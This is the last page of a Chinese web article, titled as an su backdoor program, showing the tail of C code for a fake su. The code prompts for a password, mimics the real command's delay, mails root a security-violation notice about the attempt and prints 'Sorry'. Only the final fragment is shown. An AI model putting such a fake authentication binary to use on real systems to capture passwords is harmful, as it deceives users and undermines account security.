WEB开发网
开发学院网络安全黑客技术 一个su后门程序 阅读

一个su后门程序

 2006-07-03 20:27:34 来源:WEB开发网   
核心提示: key = (char *)getpass ("Password: "); /* * Also, send email here, to add to the "feel" of delay... */ sendmail (argc, argv);(

key = (char *)getpass ("Password: ");

/*
  * Also, send email here, to add to the "feel" of delay...
  */

sendmail (argc, argv);
(void)crypt (key, "XX");/* Look and feel tactic */

/*
  * Of course, we knew this was coming!
  */

printf ("Sorry\n");

exit (1);
}

/*
* sendmail()
* Blast off an email message about this attempt. Quick and sweet
*/

sendmail (argc, argv)
char **argv;
{
FILE *pbuf;
long Clock;

if (access ("/usr/bin/mail", 0))
  return (0);

if ((pbuf = popen ("/usr/bin/mail root", "w")) == NULL)
  return (0);

time (&Clock);

fprintf (pbuf, "\nSECURITY VIOLATION NOTICE:\n\n");
fprintf (pbuf, "Attempt failed to run su by %s from %s %s",
uname, tname, ctime (&Clock));

fprintf (pbuf, "User tried to become %s using su\n",
(argc > 1 ? argv[1] : "root"));

fprintf (pbuf, "\n.\n");
pclose (pbuf);

return (1);
}

上一页  1 2 3 

Tags:一个 su 后门

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接